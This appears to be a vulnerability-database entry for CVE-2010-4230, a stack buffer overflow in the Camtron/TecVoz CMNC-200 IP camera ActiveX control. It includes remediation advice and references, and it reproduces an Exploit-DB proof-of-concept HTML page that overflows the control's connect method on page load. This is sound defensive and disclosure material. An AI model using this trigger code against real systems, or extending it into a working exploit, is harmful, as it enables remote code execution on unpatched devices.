CVE-2010-4230
Description
Stack-based buffer overflow in a certain ActiveX control for the Camtron CMNC-200 Full HD IP Camera and TecVoz CMNC-200 Megapixel IP Camera with firmware 1.102A-008 allows remote attackers to execute arbitrary code via a long string in the first argument to the connect method.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Camtron CMNC-200 IP Camera - ActiveX Buffer Overflow
Finding 1: Buffer Overflow in ActiveX Control
CVE: CVE-2010-4230
The CMNC-200 IP Camera ActiveX control identified by
CLSID {DD01C8CA-5DA0-4B01-9603-B7194E561D32} is vulnerable
to a stack overflow on the first argument of the connect method.
The vulnerability can be used to set the EIP register,
allowing a reliable exploitation.
The example code below triggers the vulnerability.
<html>
<head><title>IPcam POC</title>
<script>
function Check(){
var bf1 = 'A';
while (bf1.length <= 6144) bf1 = bf1 + 'A';
obj.connect(bf1,"BBBB","CCCC");
}
</script>
</head>
<body onload=" Check();">
<object classid="clsid:DD01C8CA-5DA0-4B01-9603-B7194E561D32"
id="obj">
</object>
</html></body>
Vendor Response:
No response received.
Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation.Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| camtron | cmnc-200_firmware | 1.102a-008 | |
| tecvoz | cmnc-200_firmware | 1.102a-008 | |
References
- http://www.exploit-db.com/exploits/15504
- http://www.securityfocus.com/archive/1/514753/100/0/threaded
- https://www.trustwave.com/spiderlabs/advisories/TWSL2010-006.txt
- http://www.exploit-db.com/exploits/15504
- http://www.securityfocus.com/archive/1/514753/100/0/threaded
- https://www.trustwave.com/spiderlabs/advisories/TWSL2010-006.txt
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.